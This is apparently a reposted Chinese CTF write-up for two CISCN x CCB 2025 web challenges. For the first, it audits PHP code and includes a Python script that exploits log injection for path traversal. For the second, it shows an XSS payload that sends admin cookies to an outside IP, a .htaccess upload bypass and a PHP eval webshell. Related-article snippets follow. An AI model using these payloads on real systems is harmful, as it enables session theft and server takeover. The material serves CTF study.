CCBCISCN復盤

AWDP – ccfrum

自己搭了一下環境, 復現一下這道題目, 之前比賽的時候完全沒想到這個漏洞要怎么打, 修也不知道要怎么修, 就僅僅是對用戶名的賬號和密碼進行了一下過濾, 完全沒起到作用, 唉, 實在太菜
如果想要嘗試復現的話可以嘗試拉取這個鏡像, 我打完之后就直接把這個容器給制作了一下鏡像保存了一下, 但我自己并沒有去拉取下來看看是否可行, 不過應該是沒問題的吧, 畢竟我是復現完把日志刪了之后直接就保存下來的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay掃描一下源碼

主要關注config.php和admin.php存在 file_get_contents()file_put_contents()函數

在這里插入圖片描述

那么最終可以預想就是想辦法利用file_get_contents() 任意讀文件

通過審計代碼

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

會讀取日志文件, 以換行符分割每一行

foreach ($log_lines as $line) {if (empty($line)) {continue;}$parts = explode(',', $line);if (count($parts) < 5) {continue;}$encoded_user = $parts[1];$action = $parts[2];$success = (int) $parts[3];$additional_info = $parts[4];if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} else {$failed_logs[] = $additional_info;}}
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {$banned_dir = "/var/www/banned/{$encoded_user}";if (file_exists($banned_dir)) {$files = scandir($banned_dir);// var_dump($files);foreach ($files as $file) {if ($file !== '.' && $file !== '..') {$file_path = $banned_dir . '/' . $file;$content = file_get_contents($file_path);$banned_contents[$username][] = $content;}}}
}

如果actionrecord_banned, $success == 1
那么就會遍歷編碼后的用戶名下的所有文件, 將他們讀取出來顯示

<?php foreach ($contents as $content): ?><pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要構造的一個payload就是

,../../../,record_banned,1,

但是這里沒有什么可控的變量, 還需要通過日志文件來利用

function log_action($username, $action, $succ, $additional = '')
{$log_id = uniqid();$e_username = encode_uname($username);$log_line = sprintf("%s,%s,%s,%d,%s\n",$log_id,$e_username,$action,$succ,$additional);file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

寫入日志文件的內容有

  • $log_id: uniqid() 不可控
  • $e_username = encode_uname($username); base64編碼后的用戶名, 不好控制為 ../進行目錄穿越
  • $action, 相要利用必須為record_banned, 不可控
  • $succ 相要利用必須1, 也是不可控
  • $additional, 默認為空, 也沒啥限制, 所以就需要想辦法控制這個變量

再查找有哪里調用了log_action這個函數

function record_banned($username, $banned)
{$e_username = encode_uname($username);$banned_dir = "/var/www/banned/{$e_username}";$created = true;if (!file_exists($banned_dir)) {$created = mkdir($banned_dir, 0750);}$log = "";$succ = 1;if (!$created) {$succ = 0;$log = "Failed to create record directory for " . $username;} else {$filename = $banned_dir . '/' . time() . '.txt';if (!file_put_contents($filename, $banned)) {$succ = 0;$log = "Failed to record banned content";}}log_action($username, 'record_banned', $succ, $log);
}

可控的是變量$additional這里傳參的是$log
它的值有三種

  • $log = "";
  • $log = "Failed to create record directory for " . $username;
  • $log = "Failed to record banned content";

唯一能夠想辦法控制的就是$username

要想辦法達到這個條件就需要無法創建成功目錄

$created = mkdir($banned_dir, 0750);

mkdir在創建目錄的時候無法創建多重目錄

也就是創建的目錄名不能帶有 / 那么就需要讓base64編碼后的用戶名帶上/就無法創建成功了

前面也已經知道讀取的日志文件會以\n分割來生成每一行

$log_lines = explode("\n", $action_log);

而且也會遍歷每一行, 以,分割每一部分, 取第二部分, 遍歷該目錄下的文件, 讀取出來

foreach ($log_lines as $line)
$parts = explode(',', $line);if (count($parts) < 5) {continue;}
$encoded_user = $parts[1];
if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} 
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以這里的用戶名就是

???%0a,../../../,record_banned,1,

在這里插入圖片描述

在這里就已經可以知道需要注冊這樣一個用戶名了

還需要找到在哪里可以調用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {$title = $_POST['title'] ?? '';$content = $_POST['content'] ?? '';$username = $_SESSION['username'];if (has_sensitive_words($title) || has_sensitive_words($content)) {record_banned($username, $title . "|" . $content);die("Post contains sensitive words");}

需要讓has_sensitive_words返回true

function has_sensitive_words($content)
{$SENSITIVE_WORDS = ['敏感詞', 'SENSITIVE WORDS',];foreach ($SENSITIVE_WORDS as $word) {if (stripos($content, $word) !== false) {return true;}}return false;
}

也就是說title或者content其中有一個存在敏感詞或者 SENSITIVE WORDS 就可以滿足條件

到這里所有的前提條件都已經知道了, 就可以開始構造payload了

步驟

  1. 先注冊賬戶, 構造特定的用戶名
  2. 用特定的用戶名登錄, 到post.php路由發送相應的信息
  3. 再以管理員的賬號密碼登錄, 進入到admin.php, 即可查看到flag

管理員的賬號密碼可以爆破得出 admin / password

可以看得到日志里面已經寫入的,../../../,record_banned,1,

在這里插入圖片描述

通過管理員用戶訪問admin.php下可以看到讀取的文件

在這里插入圖片描述

from requests import Sessionbasic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}def register(sess: Session):resp = sess.post(basic + "/register.php", data=data)def login(sess: Session):resp = sess.post(basic + "/login.php", data=data)def post(sess: Session):data1 = {"title": "敏感詞","content": "tset",}resp = sess.post(basic + "/post.php", data=data1)if __name__ == "__main__":sess = Session()register(sess)login(sess)post(sess)

所以這道題目的修復方法可以將 編碼的函數改成md5加密, 就無法阻止mkdir創建目錄失敗, 也就無法利用可控參數username

function encode_uname($username)
{return base64_encode($username);
}

參考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考點: xss+文件上傳

一天的比賽 ,就這一個成果, 唉

dirsearch 掃描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜測是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在這里插入圖片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是為了拿到上傳的文件的路徑

然后繼續之前提交信息處可以上傳圖片, 文件上傳繞過

上傳 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上傳1.jpg

<?php eval("$_POST[1]")?>

在這里插入圖片描述后面一個多小時一直在嘗試內網滲透方面, 可惜缺乏經驗, 太菜了, 沒有收獲

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/898572.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/898572.shtml
英文地址,請注明出處:http://en.pswp.cn/news/898572.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

(每日一道算法題)交易逆序對的總數

LCR 170. 交易逆序對的總數 - 力扣&#xff08;LeetCode&#xff09; 在股票交易中&#xff0c;如果前一天的股價高于后一天的股價&#xff0c;則可以認為存在一個「交易逆序對」。請設計一個程序&#xff0c;輸入一段時間內的股票交易記錄 record&#xff0c;返回其中存在的「…

【操作系統】共享數據的競爭問題

共享數據的競爭問題 問題&#xff1a;保護中斷與主程序共享的avg_data方法一&#xff1a;使用關中斷保護1. 添加關中斷宏2. 修改數據讀取代碼3. 修改中斷服務程序&#xff08;ISR&#xff09; 方法二&#xff1a;使用原子操作&#xff08;需平臺支持&#xff09;1. 定義原子類型…

VS010生成可由MATLAB2016調用的DLL文件方法

親測實用&#xff0c;不用配置雜七雜八的依賴項 1&#xff1a;新建Win32的DLL輸出項目 2&#xff1a;修改為release模式 3&#xff1a;添加calc.cpp文件&#xff0c;即要導出的函數myadd&#xff1a; #include "calc.h" __declspec(dllexport) int myadd(int a,in…

機器學習Pandas_learn4

import pandas as pddef calculate_goods_covariance():# 定義商品銷售數據字典goods_sales_data {"時期": ["一期", "二期", "三期", "四期"],"蘋果": [15, 16, 3, 2],"橘子": [12, 14, 16, 18],&quo…

優選算法系列(3.二分查找 )

目錄 一.二分查找&#xff08;easy&#xff09; 題目鏈接&#xff1a;704. 二分查找 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a; 代碼&#xff1a; 二.在排序數組中查找元素的第?個和最后?個位置&#xff08;medium&#xff09; 題目鏈接&#xff1a;34.…

DAY36貪心算法Ⅴ

56. 合并區間 - 力扣&#xff08;LeetCode&#xff09; class Solution { static bool cmp(vector<int>&a,vector<int>&b){return a[0] < b[0]; } public:vector<vector<int>> merge(vector<vector<int>>& intervals) {so…

阿里云服務器部署 五 Nginx + springboot

Nginx的部分配置 1. 基礎容災配置&#xff08;被動健康檢查&#xff09; 在 upstream 塊中&#xff0c;通過 max_fails 和 fail_timeout 參數定義故障轉移規則&#xff1a; 在 upstream 塊中&#xff0c;通過 max_fails 和 fail_timeout 參數定義故障轉移規則&#xff1a;…

基于大模型的下頜前突畸形預測及治療方案研究報告

目錄 一、引言 1.1 研究背景 1.2 研究目的 1.3 研究意義 二、大模型技術原理與應用現狀 2.1 大模型的基本原理 2.2 在醫療領域的應用案例 2.3 在下頜前突畸形研究中的可行性分析 三、下頜前突畸形概述 3.1 定義與分類 3.2 流行病學特征 3.3 病因與發病機制 3.4 對…

接口自動化測試框架詳解

&#x1f345; 點擊文末小卡片&#xff0c;免費獲取軟件測試全套資料&#xff0c;資料在手&#xff0c;漲薪更快 接口自動化測試是指通過編寫程序來模擬用戶的行為&#xff0c;對接口進行自動化測試。Python是一種流行的編程語言&#xff0c;它在接口自動化測試中得到了廣泛…

Day11 動態規劃入門

動態規劃 就是 : 給定一個問題&#xff0c;我們把它拆成一個個子問題&#xff0c;直到子問題可以直接解決。然后把子問題的答案保存起來&#xff0c;以減少重復計算。再根據子問題答案反推&#xff0c;得出原問題解的一種方法. 記憶化搜索 暴力dfs 記錄答案 動態規劃入門思…

[AI速讀]用持續集成(CI)優化芯片驗證環境:Jenkins與EDA工具的實戰指南

在芯片驗證中,回歸測試(Regression Test)是確保設計穩定性的關鍵步驟。但隨著設計復雜度增加,手動管理海量測試用例、分析日志和覆蓋率數據變得異常耗時。本文將介紹如何利用持續集成(CI)工具Jenkins,結合EDA驗證環境(如Cadence vManager),實現自動化測試與結果分析,…

深度解析:JavaScript變量聲明的演變與核心差異(var/let/隱式聲明)

深度解析&#xff1a;JavaScript變量聲明的演變與核心差異&#xff08;var/let/隱式聲明&#xff09; 一、JavaScript變量聲明的演進史 JavaScript的變量聲明機制經歷了三個階段演進&#xff1a; 原始階段&#xff08;ES5及之前&#xff09;&#xff1a;僅 var 聲明 隱式全局…

第2.1節:AWK腳本結構

1 第2.1節&#xff1a;AWK腳本結構 1.1 第1個awk腳本 假設有如下的數據待處理&#xff0c;需要將第2列提取出來&#xff1a; #, 名稱, 大小, 類型, 修改, 屬性 1, COMMIT_EDITMSG, 331 bytes, 文件, 24/09/16 08:42:19, -a----- 2, config, …

Win NAS 分享功能:精準、安全的內容共享

WinNAS 不僅是一款強大的 NAS服務&#xff0c;還通過耘想存儲 APP 提供了便捷的內容分享功能。無論是與個人、群聊、朋友圈還是公眾分享文件&#xff0c;WinNAS 都配備了嚴格的權限管理機制&#xff0c;確保您的數據安全且精準地傳遞給目標對象。以下是 WinNAS 分享功能的詳細介…

C# 項目06-計算程序運行時間

實現需求 記錄程序運行時間&#xff0c;當程序退出后&#xff0c;保存程序運行時間&#xff0c;等下次程序再次啟動時&#xff0c;繼續記錄運行時間 運行環境 Visual Studio 2022 知識點 TimeSpan 表示時間間隔。兩個日期之間的差異的 TimeSpan 對象 TimeSpan P_TimeSpa…

網絡華為HCIA+HCIP NFV

目錄 NFV關鍵技術&#xff1a;虛擬化 NFV關鍵技術&#xff1a;云化 NFV架構 NFV標準架構 ?編輯 NFV架構功能模塊 NFV架構接口 NFV關鍵技術&#xff1a;虛擬化 在NFV的道路上&#xff0c;虛擬化是基礎&#xff0c;云化是關鍵。傳統電信網絡中&#xff0c;各個網元都是…

SpringBoot實現異步調用的方法

在Java中使用Spring Boot實現異步請求和異步調用是一個常見的需求&#xff0c;可以提高應用程序的性能和響應能力。以下是實現這兩種異步操作的基本方法&#xff1a; 一、異步請求&#xff08;Asynchronous Request&#xff09; 異步請求允許客戶端發送請求后立即返回&#x…

xwiki自定義認證實現單點登錄

xwiki支持自定義認證 繼承XWikiAuthServiceImpl類后將類配置到WEB-INFO下xwiki.cfg的xwiki.authentication.authclass屬性上開啟自定義認證。 官方文檔&#xff1a;https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Authentication/ 官方自定義認證的示例&#…

使用vite新建vue3項目 以及elementui的使用 vite組件問題

項目創建 在創建項目之前我們應該在終端中輸入 node -v 和 npm -v 只有它們都能正常查看版本號才說明我們之前是已經安裝完成的。 接下來我們在合適的目錄下輸入npm create vitelatest 它會要求你輸入項目的名稱&#xff0c;這個名稱和我們之前通過cil創建的命名規則一樣。…

音頻錄制小妙招-自制工具-借助瀏覽器錄一段單聲道16000采樣率wav格式音頻

先看效果 1、打開頁面 2、點擊開始錄音&#xff0c;彈出權限提示&#xff0c;點擊“僅這次訪問時允許” 3、錄完后&#xff0c;點擊停止 4、文件自動下載到默認目錄 上代碼 js 部分 document.addEventListener(DOMContentLoaded, () > {const startBtn document.getEleme…